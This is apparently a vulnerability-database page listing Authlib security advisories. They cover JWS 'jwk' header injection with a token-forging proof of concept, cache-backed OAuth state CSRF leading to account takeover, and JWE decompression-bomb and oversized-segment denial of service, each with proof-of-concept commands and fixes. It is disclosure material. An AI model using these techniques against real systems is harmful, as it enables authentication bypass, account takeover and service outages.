None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES ``` **Expected output:** ``` {'sub': 'attacker', 'role': 'admin'} ``` **Docker (self-contained reproduction):** ```bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py ``` ### Impact This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when: - `key=None` is passed directly, **or** - a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern) An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised. This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk` header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself. **Minimal fix** — remove the fal | GCVE Database | ||
| Medium | 5.7 | EPSS 0.3% | Medium5.7EPSS 0.3%GCVE DatabaseCVE-2025-68158 # Security Advisory: Cache-Backed State Storage CSRF in Authlib The Security Labs team at Snyk has reported a security issue affecting Authlib, identified during a recent research project. The Snyk Security Labs team has identified a vulnerability that can result in a one-click account takeover in applications that utilize the Authlib library. ## Description Cache-backed state/request-token storage is not tied to the initiating user session, making CSRF possible for any attacker that possesses a valid state value (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, `FrameworkIntegration.set_state_data` writes the entire state blob under `_state_{app}_{state}`, and `get_state_data` disregards the caller's session entirely. [1][2] ```py def _get_cache_data(self, key): value = self.cache.get(key) if not value: return None try: return json.loads(value) except (TypeError, ValueError): return None [snip] def get_state_data(self, session, state): key = f"_state_{self.name}_{state}" if self.cache: value = self._get_cache_data(key) else: value = session.get(key) if value: return value.get("data") return None ``` *authlib/integrations/base_client/framework_integration.py:12-41* Retrieval in `authorize_access_token` therefore succeeds for whichever browser presents that opaque value, and the token exchange proceeds with the attacker's authorization code. [3] ```py def authorize_access_token(self, **kwargs): """Fetch access token in one step. :return: A token dict. """ params = request.args.to_dict(flat=True) state = params.get("oauth_token") if not state: raise OAuthError(description='Missing "oauth_token" parameter') data = self.framework.get_state_data(session, state) if not data: raise OAuthError(description='Missing "request_token" in temporary data') params["request_token"] = data["request_token"] params.update(kwargs) self.framework.clear_state_data(session, state) token = self.fetch_access_token(**params) self.token = token return token ``` *authlib/integrations/flask_client/apps.py:57-76* This opens up an avenue for Login CSRF in applications that use cache-backed storage. Depending on the dependent application's implementation (e.g., whether it links accounts in the event of a login CSRF), this could lead to account takeover. ## Proof of Concept Consider a hypothetical application — AwesomeAuthlibApp. Assume that AwesomeAuthlibApp contains internal logic such that, when an already authenticated user performs a `callback` request, the application links the newly provided SSO identity to the existing user account associated with that request. Under these conditions, an attacker can achieve account takeover within the application by performing the following actions: 1. The attacker initiates an SSO OAuth flow but halts the process immediately before the callback request is made to AwesomeAuthlibApp. 2. The attacker then induces a logged-in user (via phishing, a drive-by attack, or similar means) to perform a GET request containing the attacker's state value and authorization code to the AwesomeAuthlibApp callback endpoint. Because Authlib does not verify whether the state token is bound to the session performing the callback, the callback is processed, the authorization code is sent to the provider, and the account linking proceeds. Once the GET request is executed, the attacker's SSO account becomes permanently linked to the victim's AwesomeAuthlibApp account. ## Suggested Fix Per the OAuth RFC [4], the state parameter should be tied to the user's session to prevent exactly such scenarios. One straightforward method of mitigating this issue is to continue storing the state in the session even when caching is enabled. An alternative approach would be to hash the session ID (or another per-user secret derived from the session) into the cache key. This ensures the state remains stored in the cache while still being bound to the session of the user that initiated the OAuth flow. ## Resources - [1] [flask_client/apps.py#L35](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L35) - [2] [base_client/framework_integration.py#L33](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/base_client/framework_integration.py#L33) - [3] [flask_client/apps.py#L57](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L57) - [4] [RFC 6749 §10.12](https://www.rfc-editor.org/rfc/rfc6749#section-10.12) | GCVE Database | ||
| Medium | 6.5 | EPSS 0.5% | CVE-2025-62706Authlib · JWE zip=DEF decompression bomb enables DoS Medium6.5EPSS 0.5%GCVE DatabaseCVE-2025-62706 ### Summary _Authlib’s JWE `zip=DEF` path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service._ ### Details - Affected component: Authlib JOSE, JWE `zip=DEF` (DEFLATE) support. - In `authlib/authlib/jose/rfc7518/jwe_zips.py`, `DeflateZipAlgorithm.decompress` calls `zlib.decompress(s, -zlib.MAX_WBITS)` without a maximum output limit. This permits unbounded expansion of compressed payloads. - In the JWE decode flow (`authlib/authlib/jose/rfc7516/jwe.py`), when the protected header contains `"zip": "DEF"`, the library routes the decrypted ciphertext into the `decompress` method and assigns the fully decompressed bytes to the plaintext field before returning it. No streaming limit or quota is applied. - Because DEFLATE achieves extremely high ratios on highly repetitive input, an attacker can craft a tiny `zip=DEF` ciphertext that inflates to a very large plaintext during decrypt, spiking RSS and CPU. Repeated requests can starve the process or host. Code references (from this repository version): - `authlib/authlib/jose/rfc7518/jwe_zips.py` – `DeflateZipAlgorithm.decompress` uses unbounded `zlib.decompress`. - `authlib/authlib/jose/rfc7516/jwe.py` – JWE decode path applies `zip_.decompress(msg)` when `zip=DEF` is present in the header. Contrast: The `joserfc` project guards `zip=DEF` decompression with a fixed maximum (256 KB) and raises `ExceededSizeError` if output would exceed this limit, preventing the bomb. Authlib lacks such a guard in this codebase snapshot. ### PoC Environment: Python 3.10+ inside a venv; Authlib installed editable from this repository so source changes are visible. The PoC script demonstrates both a benign and a compressible-bomb payload and prints wall/CPU time, RSS, and size ratios. 1) Create venv and install Authlib (editable): Set current directory to /authlib Download [jwe_deflate_dos_demo.py](https://github.com/user-attachments/files/22519553/jwe_deflate_dos_demo.py) in /authlib ``` python3 -m venv .venv .venv/bin/pip install --upgrade pip .venv/bin/pip install -e . ``` 2) Run the PoC (included in this repo): ``` .venv/bin/python /authlib/jwe_deflate_dos_demo.py --size 50 --max-rss-mb 2048 ``` Sample output (abridged): ``` LOCAL TEST ONLY – do not send to third-party systems. Runtime: Python 3.13.6 / Authlib 1.6.4 / zip=DEF via A256GCM [CASE] normal plaintext=13B ciphertext=117B decompressed=13B wall_s=0.000 cpu_s=0.000 peak_rss_mb=31.0 ratio=0.1 [CASE] malicious plaintext=50MB ciphertext=~4KB decompressed=50MB wall_s=~2.3 cpu_s=~2.2 peak_rss_mb=800+ ratio=12500+ ``` The second case shows the decompression spike: a few KB of ciphertext forces allocation and processing of ~50 MB during decrypt. Repeated requests can quickly exhaust available memory and CPU. Reproduction notes: - Algorithm: `alg=dir`, `enc=A256GCM`, header includes `{ "zip": "DEF" }`. - The PoC uses a 32‑byte local symmetric key and a highly compressible payload (`"A" * N`). - Increase `--size` to stress memory; the `--max-rss-mb` flag helps avoid destabilizing the host during testing. ### Impact - Effect: Denial of service (memory/CPU exhaustion) during JWE decrypt of `zip=DEF` tokens. - Who is impacted: Any service that uses Authlib to decrypt JWE tokens with `zip=DEF` and where an attacker can submit tokens that will be successfully decrypted (e.g., shared `dir` key, token reflection, or compromised/abused issuers). - Confidentiality/Integrity: No direct C/I impact; availability impact is high. ### Severity (CVSS v3.1) Base vector (typical shared‑secret scenario where the attacker must produce a decryptable token): - `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → 6.5 (MEDIUM) **Rationale:** - Network‑reachable (AV:N), low complexity (AC:L), no user interaction (UI:N), scope unchanged (S:U). - Attacker must hold or gain ability to mint a decryptable token for the target (PR:L) — common with `alg=dir` and shared keys across services. - No confidentiality or integrity loss (C:N/I:N); availability is severely impacted (A:H) due to decompression expansion. If arbitrary unprivileged parties can submit JWEs that will be decrypted (PR:N), the base vector becomes: - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → 7.5 (HIGH) ### Mitigations / Workarounds - Reject or strip `zip=DEF` for inbound JWEs at the application boundary until a fix is available. - Fork and add a bounded decompression guard (e.g., `zlib.decompress(..., max_length)` via `decompressobj().decompress(data, MAX_SIZE)`), returning an error when output exceeds a safe limit. - Enforce strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting. ### Remediation Guidance (for maintainers) - Mirror `joserfc`’s approach: add a conservative maximum output size (e.g., 256 KB by default) and raise a specific error when exceeded; doc | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2025-61920 **Summary** Authlib’s JOSE implementation accepts unbounded JWS/JWT header and signature segments. A remote attacker can craft a token whose base64url‑encoded header or signature spans hundreds of megabytes. During verification, Authlib decodes and parses the full input before it is rejected, driving CPU and memory consumption to hostile levels and enabling denial of service. **Impact** - Attack vector: unauthenticated network attacker submits a malicious JWS/JWT. - Effect: base64 decode + JSON/crypto processing of huge buffers pegs CPU and allocates large amounts of RAM; a single request can exhaust service capacity. - Observed behaviour: on a test host, the legacy code verified a 500 MB header, consuming ~4 GB RSS and ~9 s CPU before failing. - Severity: High. CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5). Affected Versions Authlib ≤ 1.6.3 (and earlier) when verifying JWS/JWT tokens. Later snapshots with 256 KB header/signature limits are not affected. **Proof of concept** Local demo (do not run against third-party systems): Download [jws_segment_dos_demo.py](https://github.com/user-attachments/files/22450820/jws_segment_dos_demo.py) the PoC in direcotry authlib/ Run following Command ``` python3 jws_segment_dos_demo.py --variant both --sizes "500MB" --fork-per-case ``` Environment: Python 3.13.6, Authlib 1.6.4, Linux x86_64, CPUs=8 Sample output: Refined <img width="1295" height="306" alt="image" src="https://github.com/user-attachments/assets/6dd8410f-bc36-4717-8cee-649bac9bf291" /> The compilation script prints separate “[ATTACKER]” (token construction) and “[SERVER]” (Authlib verification) RSS deltas so defenders can distinguish client-side preparation from server-side amplification. Regression tests authlib/tests/dos/test_jose_dos.py further capture the issue; the saved original_util.py/original_jws.py reproductions still accept the malicious payload. **Remediation** - Apply the upstream patch that introduces decoded size limits: - MAX_HEADER_SEGMENT_BYTES = 256 KB - MAX_SIGNATURE_SEGMENT_BYTES = 256 KB - Enforce Limits in authlib/jose/util.extract_segment and _extract_signature. - Deploy the patched release immediately. - For additional defence in depth, reject JWS/JWT inputs above a few kilobytes at the proxy or WAF layer, and rate-limit verification endpoints. **Workarounds (temporary)** - Enforce input size limits before handing tokens to Authlib. - Use application-level throttling to reduce amplification risk. **Resources** - Demo script: jws_segment_dos_demo.py - Tests: authlib/tests/dos/test_jose_dos.py - OWASP JWT Cheat Sheet (DoS guidance) | GCVE Database |
Page 1 of 2